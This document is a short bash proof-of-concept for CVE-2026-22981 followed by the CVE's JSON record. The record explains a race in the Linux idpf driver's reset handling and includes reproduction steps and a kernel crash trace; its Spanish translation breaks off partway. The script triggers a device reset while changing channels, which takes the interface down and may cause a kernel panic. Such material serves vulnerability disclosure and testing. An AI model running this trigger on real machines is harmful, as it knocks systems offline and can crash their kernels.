CVE-2026-22981

#!/bin/bash # CVE-2026-22981 PoC - Trigger race condition in idpf driver reset handling # This PoC demonstrates the race condition that causes network interface to go DOWN # Prerequisites: System with idpf driver and network interface (e.g., ens801f0) INTERFACE="ens801f0" # Step 1: Check initial interface state echo "[+] Step 1: Checking initial interface state..." ip -br a | grep $INTERFACE # Step 2: Trigger hard reset in background and immediately change interface settings echo "[+] Step 2: Triggering hard reset while modifying interface..." echo 1 > /sys/class/net/$INTERFACE/device/reset & sleep 0.1 ethtool -L $INTERFACE combined 8 # Step 3: Check if interface is now DOWN (vulnerability triggered) echo "[+] Step 3: Checking interface state after race condition..." ip -br a | grep $INTERFACE # Step 4: Attempt to bring interface up (may fail due to uninitialized resources) echo "[+] Step 4: Attempting to bring interface UP..." ip link set $INTERFACE up # Step 5: Check final state echo "[+] Step 5: Final interface state..." ip -br a | grep $INTERFACE # If vulnerability exists, interface will remain DOWN and may cause kernel panic # when attempting to bring it up due to NULL pointer dereference

{"cve": {"id": "CVE-2026-22981", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:54.117", "lastModified": "2026-04-02T12:16:18.793", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: detach and close netdevs while handling a reset\n\nProtect the reset path from callbacks by setting the netdevs to detached\nstate and close any netdevs in UP state until the reset handling has\ncompleted. During a reset, the driver will de-allocate resources for the\nvport, and there is no guarantee that those will recover, which is why the\nexisting vport_ctrl_lock does not provide sufficient protection.\n\nidpf_detach_and_close() is called right before reset handling. If the\nreset handling succeeds, the netdevs state is recovered via call to\nidpf_attach_and_open(). If the reset handling fails the netdevs remain\ndown. The detach/down calls are protected with RTNL lock to avoid racing\nwith callbacks. On the recovery side the attach can be done without\nholding the RTNL lock as there are no callbacks expected at that point,\ndue to detach/close always being done first in that flow.\n\nThe previous logic restoring the netdevs state based on the\nIDPF_VPORT_UP_REQUESTED flag in the init task is not needed anymore, hence\nthe removal of idpf_set_vport_state(). The IDPF_VPORT_UP_REQUESTED is\nstill being used to restore the state of the netdevs following the reset,\nbut has no use outside of the reset handling flow.\n\nidpf_init_hard_reset() is converted to void, since it was used as such and\nthere is no error handling being done based on its return value.\n\nBefore this change, invoking hard and soft resets simultaneously will\ncause the driver to lose the vport state:\nip -br a\n<inf>\tUP\necho 1 > /sys/class/net/ens801f0/device/reset& \\\nethtool -L ens801f0 combined 8\nip -br a\n<inf>\tDOWN\nip link set <inf> up\nip -br a\n<inf>\tDOWN\n\nAlso in case of a failure in the reset path, the netdev is left\nexposed to external callbacks, while vport resources are not\ninitialized, leading to a crash on subsequent ifup/down:\n[408471.398966] idpf 0000:83:00.0: HW reset detected\n[408471.411744] idpf 0000:83:00.0: Device HW Reset initiated\n[408472.277901] idpf 0000:83:00.0: The driver was unable to contact the device's firmware. Check that the FW is running. Driver state= 0x2\n[408508.125551] BUG: kernel NULL pointer dereference, address: 0000000000000078\n[408508.126112] #PF: supervisor read access in kernel mode\n[408508.126687] #PF: error_code(0x0000) - not-present page\n[408508.127256] PGD 2aae2f067 P4D 0\n[408508.127824] Oops: Oops: 0000 [#1] SMP NOPTI\n...\n[408508.130871] RIP: 0010:idpf_stop+0x39/0x70 [idpf]\n...\n[408508.139193] Call Trace:\n[408508.139637] <TASK>\n[408508.140077] __dev_close_many+0xbb/0x260\n[408508.140533] __dev_change_flags+0x1cf/0x280\n[408508.140987] netif_change_flags+0x26/0x70\n[408508.141434] dev_change_flags+0x3d/0xb0\n[408508.141878] devinet_ioctl+0x460/0x890\n[408508.142321] inet_ioctl+0x18e/0x1d0\n[408508.142762] ? _copy_to_user+0x22/0x70\n[408508.143207] sock_do_ioctl+0x3d/0xe0\n[408508.143652] sock_ioctl+0x10e/0x330\n[408508.144091] ? find_held_lock+0x2b/0x80\n[408508.144537] __x64_sys_ioctl+0x96/0xe0\n[408508.144979] do_syscall_64+0x79/0x3d0\n[408508.145415] entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[408508.145860] RIP: 0033:0x7f3e0bb4caff"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nidpf: desvincular y cerrar netdevs mientras se maneja un reinicio\n\nProteger la ruta de reinicio de las devoluciones de llamada configurando los netdevs a estado desvinculado y cerrando cualquier netdev en estado UP hasta que el manejo del reinicio haya finalizado. Durante un reinicio, el controlador desasignará recursos para el vport, y no hay garantía de que estos se recuperen, razón por la cual el vport_ctrl_lock existente no proporciona suficiente protección.\n\nidpf_detach_and_close() se llama justo antes del manejo del reinicio. Si el manejo del reinicio tiene éxito, el estado de los netdevs se recupera mediante una llamada a idpf_attach_and_open(). Si el manejo del reinicio falla, los netdevs permanecen inactivos. Las llamadas de desvinculación/inactivación están protegidas con el bloqueo RTNL para evitar condiciones de carrera con las devoluciones de llamada. En el lado de la recuperación, la vinculación se puede realizar sin mantener el bloqueo RTNL ya que no se esperan devoluciones de llamada en ese punto, debido a que la desvinculación/cierre siempre se realiza primero en ese flujo.\n\nLa lógica anterior que restauraba el estado de los netdevs basada en el indicador IDPF_VPORT_UP_REQUESTED en la tarea de inicialización ya no es necesaria, de ahí la eliminación de idpf_set_vport_state(). El IDPF_VPORT_UP_REQUESTED todavía se utiliza para restaurar el estado de los netdevs después de ... (truncated)